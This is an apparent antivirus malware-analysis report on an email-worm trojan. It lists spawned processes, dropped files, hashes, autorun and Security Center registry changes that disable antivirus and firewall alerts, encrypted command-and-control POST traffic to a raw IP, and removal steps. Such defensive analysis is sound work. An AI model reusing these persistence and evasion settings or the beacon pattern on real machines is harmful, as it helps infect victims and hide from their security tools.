Gen.Variant.Razy.18266_2915d14aa5

Dynamic Analysis

Payload

Behaviour	Description
EmailWorm	Worm can send e-mails.

Process activity

The Trojan creates the following process(es):

%original file name%.exe:464
aaiz6hf3uw3solqv.exe:784
3uw3sjlqv.exe:1080
3uw3sjlqv.exe:272
3uw3sjlqv.exe:1988
3uw3sjlqv.exe:1364
3uw3sjlqv.exe:1504
3uw3sjlqv.exe:176
aaiz6hf3uw3silqv.exe:960
smtp_mailer.exe:560
unzip.exe:408
aaiz6hfx6sww9lqva4apwc.exe:784
olgkpun.exe:140
olgkpun.exe:884
zip.exe:968
zip.exe:332
zip.exe:652
zip.exe:164
zip.exe:432
zip.exe:492
ozxdksucbgn.exe:1992
aaiz6hf3uw3sklqv.exe:1552

The Trojan injects its code into the following process(es):No processes have been created.

Mutexes

The following mutexes were created/opened:No objects were found.

File activity

The process %original file name%.exe:464 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%System%\nnyjfewnv\tst (10 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\aaiz6hfx6sww9lqva4apwc.exe (5442 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\aaiz6hfx6sww9lqva4apwc.exe (0 bytes)

The process 3uw3sjlqv.exe:1080 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%System%\nnyjfewnv\smtp\tmp\franklin.exe (3899 bytes)

The process 3uw3sjlqv.exe:272 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%System%\nnyjfewnv\smtp\tmp\lane.exe (3899 bytes)

The process 3uw3sjlqv.exe:1988 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%System%\nnyjfewnv\smtp\tmp\marshall.exe (3899 bytes)

The process 3uw3sjlqv.exe:1364 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%System%\nnyjfewnv\smtp\tmp\marsha.exe (3899 bytes)

The process 3uw3sjlqv.exe:1504 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%System%\nnyjfewnv\smtp\tmp\mabella.exe (3899 bytes)

The process 3uw3sjlqv.exe:176 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%System%\nnyjfewnv\smtp\tmp\james.exe (3899 bytes)

The process smtp_mailer.exe:560 makes changes in the file system.

The Trojan deletes the following file(s):

%System%\nnyjfewnv\smtp\tmp\3uw3sq.txt (0 bytes)
%System%\nnyjfewnv\smtp\tmp\3uw3sp.txt (0 bytes)
%System%\nnyjfewnv\smtp\tmp\3uw3sl.txt (0 bytes)
%System%\nnyjfewnv\smtp\tmp\3uw3sm.txt (0 bytes)
%System%\nnyjfewnv\smtp\tmp\3uw3sr.txt (0 bytes)
%System%\nnyjfewnv\smtp\tmp\3uw3sn.txt (0 bytes)

The process unzip.exe:408 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%System%\nnyjfewnv\smtp\smtp_mailer.exe (5873 bytes)
%System%\nnyjfewnv\smtp\zip.exe (1425 bytes)

The process aaiz6hfx6sww9lqva4apwc.exe:784 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%System%\nnyjfewnv\tst (10 bytes)
%System%\olgkpun.exe (7433 bytes)

The process olgkpun.exe:140 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%System%\unzip.exe (7100 bytes)
%System%\nnyjfewnv\run (10 bytes)
%System%\nnyjfewnv\smtp\tmp\3uw3sp.txt (338 bytes)
%WinDir%\Temp\aaiz6hf3uw3sklqv.exe (7433 bytes)
%System%\nnyjfewnv\smtp\tmp\3uw3sq.txt (340 bytes)
%WinDir%\Temp\aaiz6hf3uw3silqv.exe (35 bytes)
%WinDir%\Temp\aaiz6hf3uw3solqv.exe (35 bytes)
%WinDir%\Temp\3uw3sjlqv.exe (1940 bytes)
%System%\nnyjfewnv\smtp\tmp\3uw3sl.txt (340 bytes)
%System%\nnyjfewnv\cfg (228 bytes)
%System%\ozxdksucbgn.exe (7433 bytes)
%System%\nnyjfewnv\smtp\smtp_mailer.zip (15540 bytes)
%System%\nnyjfewnv\smtp\tmp\3uw3sm.txt (340 bytes)
%System%\nnyjfewnv\smtp\tmp\3uw3sr.txt (338 bytes)
%System%\nnyjfewnv\tst (10 bytes)
%System%\nnyjfewnv\smtp\tmp\3uw3sn.txt (338 bytes)
%System%\nnyjfewnv\rng (100 bytes)
%System%\nnyjfewnv\por (1 bytes)

The Trojan deletes the following file(s):

%System%\nnyjfewnv\smtp\tmp\cindy59.zip (0 bytes)
%WinDir%\Temp\aaiz6hf3uw3sklqv.exe (0 bytes)
%WinDir%\Temp\aaiz6hf3uw3silqv.exe (0 bytes)
%WinDir%\Temp\aaiz6hf3uw3solqv.exe (0 bytes)
%System%\nnyjfewnv\smtp\tmp\48macie.zip (0 bytes)
%System%\nnyjfewnv\smtp\tmp\thane50.zip (0 bytes)
%System%\nnyjfewnv\smtp\tmp\alana18.zip (0 bytes)
%System%\nnyjfewnv\smtp\tmp\18dusty.zip (0 bytes)

The process olgkpun.exe:884 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%System%\nnyjfewnv\tst (10 bytes)

The process zip.exe:968 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%System%\nnyjfewnv\smtp\tmp\zia00968 (12613 bytes)

The Trojan deletes the following file(s):

%System%\nnyjfewnv\smtp\tmp\cindy59.zip (0 bytes)
%System%\nnyjfewnv\smtp\tmp\mabella.exe (0 bytes)

The process zip.exe:332 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%System%\nnyjfewnv\smtp\tmp\zia00332 (12587 bytes)

The Trojan deletes the following file(s):

%System%\nnyjfewnv\smtp\tmp\alana18.zip (0 bytes)
%System%\nnyjfewnv\smtp\tmp\marsha.exe (0 bytes)

The process zip.exe:652 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%System%\nnyjfewnv\smtp\tmp\zia00652 (12562 bytes)

The Trojan deletes the following file(s):

%System%\nnyjfewnv\smtp\tmp\thane50.zip (0 bytes)
%System%\nnyjfewnv\smtp\tmp\franklin.exe (0 bytes)

The process zip.exe:164 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%System%\nnyjfewnv\smtp\tmp\zia00164 (12589 bytes)

The Trojan deletes the following file(s):

%System%\nnyjfewnv\smtp\tmp\48macie.zip (0 bytes)
%System%\nnyjfewnv\smtp\tmp\marshall.exe (0 bytes)

The process zip.exe:432 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%System%\nnyjfewnv\smtp\tmp\zia00432 (12585 bytes)

The Trojan deletes the following file(s):

%System%\nnyjfewnv\smtp\tmp\anson15.zip (0 bytes)
%System%\nnyjfewnv\smtp\tmp\lane.exe (0 bytes)

The process zip.exe:492 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%System%\nnyjfewnv\smtp\tmp\zia00492 (12572 bytes)

The Trojan deletes the following file(s):

%System%\nnyjfewnv\smtp\tmp\james.exe (0 bytes)
%System%\nnyjfewnv\smtp\tmp\18dusty.zip (0 bytes)

The process ozxdksucbgn.exe:1992 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%System%\nnyjfewnv\tst (10 bytes)

The process aaiz6hf3uw3sklqv.exe:1552 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%System%\nnyjfewnv\tst (10 bytes)

Registry activity

The process %original file name%.exe:464 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "82 2F ED 7B 8A 98 DF AF CA 17 E0 26 85 CC DF 00"

The process aaiz6hf3uw3solqv.exe:784 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "E3 A3 82 3C 53 1E 28 82 5A C1 93 19 6E AD 9A BD"

The process 3uw3sjlqv.exe:1080 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "F7 5C B2 98 1D A8 75 F9 86 72 38 12 3D 41 07 60"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

The process 3uw3sjlqv.exe:272 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "2D C8 BC 76 50 BA 9E D5 DC 0A E1 51 8D EE 78 0B"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

The process 3uw3sjlqv.exe:1988 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "4E 9E 0A E9 07 33 1F 29 7A 50 D9 BA B7 26 05 E6"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

The process 3uw3sjlqv.exe:1364 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "F0 AB 7C 1A D1 D8 66 CF 2D 00 75 23 AB B7 2B CA"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

The process 3uw3sjlqv.exe:1504 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "CF 10 F5 B8 0F C7 C0 01 61 AD 0A 7B 2B F0 E9 45"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

The process 3uw3sjlqv.exe:176 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "A1 AA 0E 65 4D 75 A7 04 86 1A 12 2E 1C 8F 3A EA"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

The process aaiz6hf3uw3silqv.exe:960 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "73 7A 19 3E 82 77 8C 33 69 DA 4F A8 45 F0 C4 45"

The process smtp_mailer.exe:560 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "FD CA CE 9F DA 60 3E 31 92 E0 2E 1A F1 F3 4D BD"

The process unzip.exe:408 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "B2 03 F9 78 30 80 1F E7 E8 4D 10 25 68 61 7D 2B"

The process aaiz6hfx6sww9lqva4apwc.exe:784 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "8C 39 81 B5 82 AC 42 89 A3 8A 27 58 FD F4 00 F9"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Detection Wired Authentication Portable Base" = "%System%\olgkpun.exe"

The process olgkpun.exe:140 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "59 FA 8F 23 A8 B2 11 C5 FB A4 9E C7 0D 04 CA C0"

[HKLM\SOFTWARE\Microsoft\Security Center]
"AntiVirusOverride" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKLM\SOFTWARE\Microsoft\Security Center]
"FirewallOverride" = "1"
"FirewallDisableNotify" = "1"

Antivirus notifications are disabled:

[HKLM\SOFTWARE\Microsoft\Security Center]
"AntiVirusDisableNotify" = "1"

The process olgkpun.exe:884 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "F8 4C CF DC 38 B0 15 24 21 8C 1C 2F 12 5B E9 10"

The process ozxdksucbgn.exe:1992 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "D3 DF BC 05 A4 D7 7E F1 CB BC 70 81 C9 26 85 D7"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

The process aaiz6hf3uw3sklqv.exe:1552 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "8E CA AB EB 17 F7 79 25 19 15 AE 75 5B 5F D3 97"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

Dropped PE files

MD5	File path
1a39fb92f16b5dfe5d6f6912a6426dc5	c:\WINDOWS\Temp\3uw3sjlqv.exe
0389ca220feefd1f68837d7de57e3ddc	c:\WINDOWS\system32\nnyjfewnv\smtp\smtp_mailer.exe
79aef4a7acaeb0e979537a4bc3dcc851	c:\WINDOWS\system32\nnyjfewnv\smtp\zip.exe
fecf803f7d84d4cfa81277298574d6e6	c:\WINDOWS\system32\unzip.exe

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

Removals

Remove it with Ad-Aware

1. Click (here) to download and install Ad-Aware Free Antivirus.
2. Update the definition files.
3. Run a full scan of your computer.

Manual removal*

1. Terminate malicious process(es) (How to End a Process With the Task Manager):

   %original file name%.exe:464
   aaiz6hf3uw3solqv.exe:784
   3uw3sjlqv.exe:1080
   3uw3sjlqv.exe:272
   3uw3sjlqv.exe:1988
   3uw3sjlqv.exe:1364
   3uw3sjlqv.exe:1504
   3uw3sjlqv.exe:176
   aaiz6hf3uw3silqv.exe:960
   smtp_mailer.exe:560
   unzip.exe:408
   aaiz6hfx6sww9lqva4apwc.exe:784
   olgkpun.exe:140
   olgkpun.exe:884
   zip.exe:968
   zip.exe:332
   zip.exe:652
   zip.exe:164
   zip.exe:432
   zip.exe:492
   ozxdksucbgn.exe:1992
   aaiz6hf3uw3sklqv.exe:1552

2. Delete the original Trojan file.
   
3. Delete or disinfect the following files created/modified by the Trojan:

   %System%\nnyjfewnv\tst (10 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\aaiz6hfx6sww9lqva4apwc.exe (5442 bytes)
   %System%\nnyjfewnv\smtp\tmp\franklin.exe (3899 bytes)
   %System%\nnyjfewnv\smtp\tmp\lane.exe (3899 bytes)
   %System%\nnyjfewnv\smtp\tmp\marshall.exe (3899 bytes)
   %System%\nnyjfewnv\smtp\tmp\marsha.exe (3899 bytes)
   %System%\nnyjfewnv\smtp\tmp\mabella.exe (3899 bytes)
   %System%\nnyjfewnv\smtp\tmp\james.exe (3899 bytes)
   %System%\nnyjfewnv\smtp\smtp_mailer.exe (5873 bytes)
   %System%\nnyjfewnv\smtp\zip.exe (1425 bytes)
   %System%\olgkpun.exe (7433 bytes)
   %System%\unzip.exe (7100 bytes)
   %System%\nnyjfewnv\run (10 bytes)
   %System%\nnyjfewnv\smtp\tmp\3uw3sp.txt (338 bytes)
   %WinDir%\Temp\aaiz6hf3uw3sklqv.exe (7433 bytes)
   %System%\nnyjfewnv\smtp\tmp\3uw3sq.txt (340 bytes)
   %WinDir%\Temp\aaiz6hf3uw3silqv.exe (35 bytes)
   %WinDir%\Temp\aaiz6hf3uw3solqv.exe (35 bytes)
   %WinDir%\Temp\3uw3sjlqv.exe (1940 bytes)
   %System%\nnyjfewnv\smtp\tmp\3uw3sl.txt (340 bytes)
   %System%\nnyjfewnv\cfg (228 bytes)
   %System%\ozxdksucbgn.exe (7433 bytes)
   %System%\nnyjfewnv\smtp\smtp_mailer.zip (15540 bytes)
   %System%\nnyjfewnv\smtp\tmp\3uw3sm.txt (340 bytes)
   %System%\nnyjfewnv\smtp\tmp\3uw3sr.txt (338 bytes)
   %System%\nnyjfewnv\smtp\tmp\3uw3sn.txt (338 bytes)
   %System%\nnyjfewnv\rng (100 bytes)
   %System%\nnyjfewnv\por (1 bytes)
   %System%\nnyjfewnv\smtp\tmp\zia00968 (12613 bytes)
   %System%\nnyjfewnv\smtp\tmp\zia00332 (12587 bytes)
   %System%\nnyjfewnv\smtp\tmp\zia00652 (12562 bytes)
   %System%\nnyjfewnv\smtp\tmp\zia00164 (12589 bytes)
   %System%\nnyjfewnv\smtp\tmp\zia00432 (12585 bytes)
   %System%\nnyjfewnv\smtp\tmp\zia00492 (12572 bytes)
   

4. Delete the following value(s) in the autorun key (How to Work with System Registry):

   [HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
   "Detection Wired Authentication Portable Base" = "%System%\olgkpun.exe"

5. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
   

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Static Analysis

VersionInfo

No information is available.

No information is available.

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
.text	4096	960134	960512	4.85019	16f38e2e915bab52e9b0ab5fcb1e22c3
.rdata	966656	25126	25600	2.52478	d0cfd007862eddc4b3125149930ed828
.data	995328	173488	5120	2.2215	eb5b8fbcdd2a11da58e6ad758c851ead
.reloc	1171456	94622	94720	4.73452	c6b710d3e232a0b3488a7bfd13c4df49

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Network Activity

URLs

URL	IP
hxxp://185.106.120.168/index.php
mail.oeacorp.com	192.254.237.47

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

POST /index.php HTTP/1.0

Accept: */*

Connection: close

Host: 185.106.120.168

Content-Type: application/x-www-form-urlencoded

Content-Length: 189

cg2wpoezy0=cN0Ic1aYRDeFMsIcBKAHa64tb/SDfejtgpO8XgIZglWUARzgR3sE/NEFb8By4XZOciazjdwl8+ytexGBZyQNxhpA65IxCoIyPIq+55ldQu1vUsoDeZyvCrpZj3+kOcYrMtDPuw0+EDH1mpjRL8mvbchMHN/ADA==

HTTP/1.1 200 OK

Server: nginx/1.4.6 (Ubuntu)

Date: Wed, 04 May 2016 23:19:09 GMT

Content-Type: text/html

Connection: close

X-Powered-By: PHP/5.5.9-1ubuntu4.14

...9$..}f..~.:U..`.....a[v...B.......Ps.e.|ssG...6...H..f U.<...0O........G.r...u..C...v.m.h8...M.Lr...V...{...)....TPU.......]@.`e..efY.. .z..&..z..\.R..U..A.T..U*..*.S...D.J....b..R.P"......"|Y..]S.....{d./.)br#.\.3.g)}.......<..?.....n..'$.......R.j..1..EXoj._..xu........l*-R._... ,..{:.........z.r.!d..P... ..N.t..}ojl....3(EWd..........6.W&..gt$..."..'E.J:m.`...8`|..........i......R...R.u. ....!...qC...=.v.e,4.D~#..>-K.'...<t..e.ye.ao;.Z..?..-.V.a0....1^X.,2......P........xRf.G)t.j..;H...(....G._..uhg.>2...A.`.....a.......*^..........1. ....*1.4.s.J.c....Q.s..|.Qhg.....^ri...%...).`?.........#...#.z#.:.q.^V.F.y...B...q6%.}.E...\.4n/.]..X...}....F...X.vq.!....r?#.9..u..C.JE&..C..e...oM......m!.W.W.9.......=.s..|..z...4...P.8.c<....O..crs;.l.<.M.......EKQ.NA....&.0....../v.6d'zp'......'...0'(._..B....*C4.Ja...pRr ....Y.N<.WCm.cc..Y.*..z............... i...._>4....7o.t*.({..y...*.e%%.O..O.Y"G).....q..b..%.......2.%..;;.G...(.........o.....r...NMl:..).......,....b..vl.&..n.G...IC.J.Z....$...w-s............z#.&Lc."../T. .:p...^t..`.^.QQ`.c.{"u._?...w_S...?.Q:fF..9_......-#....0P-..k.@.BEn.o%_R.j^...4.db?]...v.7...t2.&...........f5.eH....<....h&....km}#7(X.g`...B.,IY..K.uY...f`r..Y...t{..B.U_D...o.,.....[. ^a..\...Kb.........).. ..........U..\...R..p.g.c2.6..........:..=.@8EuN..J|'.Q|......f.1) .Ak..s..8:...1..Q...'A.F.#..2Lq.3.*."g...V....]..[.-....0\....z..4..Q..L~.....|.{_.n..o......u..P.h.J..!.aQ.qV@..z.bc.x..n[.......~^........Q5.1...2......B......W..b.."....P(.....ih...n....._Y

<<< skipped >>>

POST /index.php HTTP/1.0

Accept: */*

Connection: close

Host: 185.106.120.168

Content-Type: application/x-www-form-urlencoded

Content-Length: 207

cg2wpoezy0=F3en7swy66pkb6m70GuwOIKkmsZHgRs4bZXIjffusbBu+IOe57EalOQu3ogDnTSNOeTBmgfuJJAzvN1CJ8XmzCl3hactPJTboDmZR6p2kUsth4ogjT2NfSAPQkmyCvDb8eOb8E8ayRN8PQPDhIEdOfTZIJ1MWjhiRnYhRm/ds7N8zLG6NjVGFnvqjQ==

HTTP/1.1 200 OK

Server: nginx/1.4.6 (Ubuntu)

Date: Wed, 04 May 2016 23:19:11 GMT

Content-Type: text/html

Connection: close

X-Powered-By: PHP/5.5.9-1ubuntu4.14

..[w...3...Y....?.eYB.."P:..U.....x..B..Y...~.....2..2.`..u....gU.7".3...|ov..F.....fC..P.Nv.."....Z....]S...{.}..q....o....fp............m..rj....z.......".n(Kh.c.......':m...}u.Y.Y...>Y.y.....ro..t \..".Eq ...f*.....!...`..1A...U."...^.\R.W.]#.^..(;....C.K.d..RSd......y..YuX......?..|A....K..a"u.....^....Q.....3.6..w...[.O.._-..NZ$.IV...5D.n...".Oh....Qzt.$...1.m{..A3..E..c%........x.......0..2X"..If.w..I%#...^.].k....dLm.w.*9...]......=..;_j.".....3S<".. .f|*.<..E.V....f;T..P... n....QW.|..U......u...Y."..........H.v...dT......<.2...A.V..a..H.t.....^......v9....O....f:.u...C!&y.@..&]2.LD.....6.&...^...Q....)28}..a.'...........m..'...z\1..}.f....4....d].t......B...$]..........]....;;..!.CJ.fC.^...YNh...5..P...Hugc...B..7L..B..c....q....Ai#...)...@V.../i.rqN..jC..=.`........4/.$.......:M.......8...M..z....):.o...6A~A....&!..W.....R.;....%.|*..../....;...B..tz...{..XR...^..0y.....I-......p...S..4....:..B...>..X&sS.xQ..0.vco..{........mjL7.%....{....|.a...4.)..6.....~...)....p$.Z.F....0.[....i..J............HF..........^...A< \..0..k.D3K..b7|......}....?..d..]n....&........x..f.C?5~.oJ..~..Dt.|..........L;.....].....Q..........U..*Z...R.y..u3../GT..NI...9.T..,.~...X..9.$4.0|w...~.............%......V...knr....o..d"W.......?Q.x(.L..(d.!..ej..hX.[.r..y..\y^.$.........D./.... .g@....... .?.J...7..Tn....{.......]...:.QZ.b.".(..U.......!..8]..L.:.a...J ...n.o...2...:.W...M.......Io........(j-7...Pw...x...........r[&......].....?...Y..H. &<.X.7Oj.>.S..".8.....>..e..B......G2SXY..]#...x...q..

<<< skipped >>>

POST /index.php HTTP/1.0

Accept: */*

Connection: close

Host: 185.106.120.168

Content-Type: application/x-www-form-urlencoded

Content-Length: 285

cg2wpoezy0=9EhCgBwNDsS+3RAgg9d79YrLZTpyLWpUtbdka0VQcHz4u+Zr3EQh7mbzHQgzIPXMrgph+/EAVg3BRF8d2xU+t5oBM33iMdJzKt1qoOB6kI699PtMCPJRgLGwfKMxbfcDWdRwRXsOAO1ydaR+g2+6yeyhUTLWrIdKHo3/eHwaHn578RB31er/PynbHk5opO/EnyRgZkqORlRaMCS2T/5n9UpCfVIY0jKUzn88aQ4nstwjgnBwwn9Nlg==

HTTP/1.1 200 OK

Server: nginx/1.4.6 (Ubuntu)

Date: Wed, 04 May 2016 23:19:08 GMT

Content-Type: text/html

Connection: close

X-Powered-By: PHP/5.5.9-1ubuntu4.14

cJ!@ .m."C.0R........

POST /index.php HTTP/1.0

Accept: */*

Connection: close

Host: 185.106.120.168

Content-Type: application/x-www-form-urlencoded

Content-Length: 189

cg2wpoezy0=1zqsngZ/4NriXaunRVa2O2U9gVlAXYE6tUYKtasWT7Grmq3R0yppHBbgwgVJkSu6TyEZefXZMtR0wLdmF13xnElf0nINvB5YMisJsyNd9S5acQH2yor+mykaYdonOMWb0VZpypCFTpAV/LMGOE53D20p1yLc4aK9PynUd9wgg84e

HTTP/1.1 200 OK

Server: nginx/1.4.6 (Ubuntu)

Date: Wed, 04 May 2016 23:19:32 GMT

Content-Type: text/html

Connection: close

X-Powered-By: PHP/5.5.9-1ubuntu4.14

{HVO#.....

GET /index.php HTTP/1.0

Accept: */*

Connection: close

Host: 185.106.120.168

HTTP/1.1 200 OK

Server: nginx/1.4.6 (Ubuntu)

Date: Wed, 04 May 2016 23:19:07 GMT

Content-Type: text/html

Connection: close

X-Powered-By: PHP/5.5.9-1ubuntu4.14

...@..W... .R.. %|...Q..;.4j.A6...0?v...W.q...9.......T.c.!U...m.R=.Al..Z.D....M..X..y.V Q.f/..........7FF.d..<......./]u...".|`W..G...|#fV;......]A[W...<.z..3VY...\X;.?a.#n%.m....e.S&...g..pR.^J..,.n%@.$.mg..t.....1;.F...TD.N.`...:t.w....N1..~;....4?}...$...h..@.$.e.jK...`ox.(aQ.L.....$^."..zw....l.....Y.TEHS2e)].x1.'>......f._.-...}1..,....J&X....p./].Rk...-...0y.6..%i......y.G.....-.G...t.P..q@.R<..5..R.......&w.....q_.c.....=_.Rp.>........e...=......M.b. .^.....y.b........9...=-..1;L9....@...W..4.....`..K..*.........~.A.Q&h./f..D(5.....v....Of...Q....y.......o.p; j.|q.s..&(.kQ`......^}>..c..H<.f.M.\.~;x[W.......?Oze..........Kv....B..*r..;..E.T.........&..Z.."#. ..c..j.d.......9.\38... ......H....s.....:.9...9Z..H....X.!.......Z....|..d].......C.S........a]=..VL.#.E.EH..;.:.....2P!:1..>{.*P.....U.. ..A..?.q...........IA..X..l./.5.....u ....}V...)..#......j..,..T|fx.?....|N.... D....2.....H..Rr_a(....8../..I.v.d....8.5..9....e.7&.....b......':.|a..s.#..CCT.Y...I...........6q.....Z.E1......o....%bx........p([DD.T........y..K....c...iJ.......G@..ni\.9.H[.......k......Q........v.=....I7......1.X..'...i........b..../f.R...p.I.....0@.Q\.i...h.b?..3........}.dK-I..=4$3...F.t._3Yw.R.......U......anW.?.....Kz..<..}...b...{VN......6$..v3/Hl..S....cl...

POST /index.php HTTP/1.0

Accept: */*

Connection: close

Host: 185.106.120.168

Content-Type: application/x-www-form-urlencoded

Content-Length: 209

cg2wpoezy0=100a1gIIVpIno4Y1ri+n/175EaVpvd4JISIqlRi7wLza3bgWU7dF02XlEzazqv+QMLq1cFq2VpxCqJUmMt3kn0+0WOANZ4ZM9ZI0R/0AnLxUET+pagrkNbeVDPqa05hqaZO5Q0pkV6Zvy1EmIMi83a4+8OI7vBRUtNDDhg9NZGo6LlvAdw==

HTTP/1.1 200 OK

Server: nginx/1.4.6 (Ubuntu)

Date: Wed, 04 May 2016 23:19:13 GMT

Content-Type: text/html

Connection: close

X-Powered-By: PHP/5.5.9-1ubuntu4.14

kK.k(.A/.ZS.-.a....f..X........lz.k...5[....C..V,.f.q..U].....l.nW.j..[5."..&._.v..*5......)=..^_zJ.(.[$i....x..=..I.....R=?2P!.n..V..K 9...~.....y.......ZQ...*..T,..)..@...#.b..E1.....DS...h.....:F..X?...MQ.$#1..!.@.8..4..P.K.(c....8 .....LJ..q[@......8P...(`,..0zD.. ........I...7.A.....r`...0hq....).......|.v.9A;Pv...c....h.5..........p..v...;......].....{...=.E...%p....G-..#.~.....0..{.H.?R<..).;...kG..N#E.....QH.^.....3@s.)..m.M*....oES8).)s...].h...4...... >B.....RR..@ f.M.....Y...,..b.L.1K....i@.s..f.y..D8~Z.'.,Q ...vaK.&k%j.H.5...Z..7?JF.&.9Q.........M?hrq.5.U.....M..M&....;.....M....r.P...C.........w...;........x.M.<.=..r...6...........3.....x..N<..t.......J.xk..........o3N.7Y@..xL...b.f..x3....a..L..o...7.t'.i.M.4.)f...3M.U.&^.L..q.I...$\.i.T&4.g=....M.l.&A... ..I.V.$..u.d...2_.......*.A..t cB>..a@.X.Pd..h2V... .2...i....c.t..Bs9X!.....1VH.. $....c...m<....B.to!a q.0b.H...$L...&I`......b..d..a2.<0..q.L..L&..&.M...0.....dbbh2..e.XH}L,..&......U..z..B..b!......X.@.,d...2.Z..[.....B.3E!c.;.....X..d.ov2..r..a...3?#y-..y.&....M..t..5...3`.;..|.D.......4..O.}.3.E......)...`...g..2.k..%.[..XC3...'.L....x.PDb.'.T....c..8.>j.h..B..M..S...X...z..-.4.x......%..6.4NZ..........f..N...-..'.sao..g>I.$RVj......dPs..6.]R.t.C...$......\..;..D.|.h..V.b.....;.j.....Z`.4.......|0.7$..4K.HG..=..V.*...x....V..._.<95*..C...n..e~.(....E......@..R&..0...|UVT... ....j\.N.lC,....J..e..^BH..Cn.....RnO.V..l?h...nm^.R5r......e.._C.........~.....3P......?..h.b.B]...\....7.;....A.....^......?......8..6...

<<< skipped >>>

POST /index.php HTTP/1.0

Accept: */*

Connection: close

Host: 185.106.120.168

Content-Type: application/x-www-form-urlencoded

Content-Length: 179

cg2wpoezy0=gI2tb6XI4Styvetb+USUQcGfin50ERvn+v6YKIl9up8BEBd3R0WHH9+nfee5GBB/5y8iEPDguzQWQSr7ZmiTYk7AOEYoOWdCAJ3NwfQ4ePeSr0kN1jsvAeAU7XW9rGJ0+DofNvMDYz67B/iz6qX58CJEFQ0i

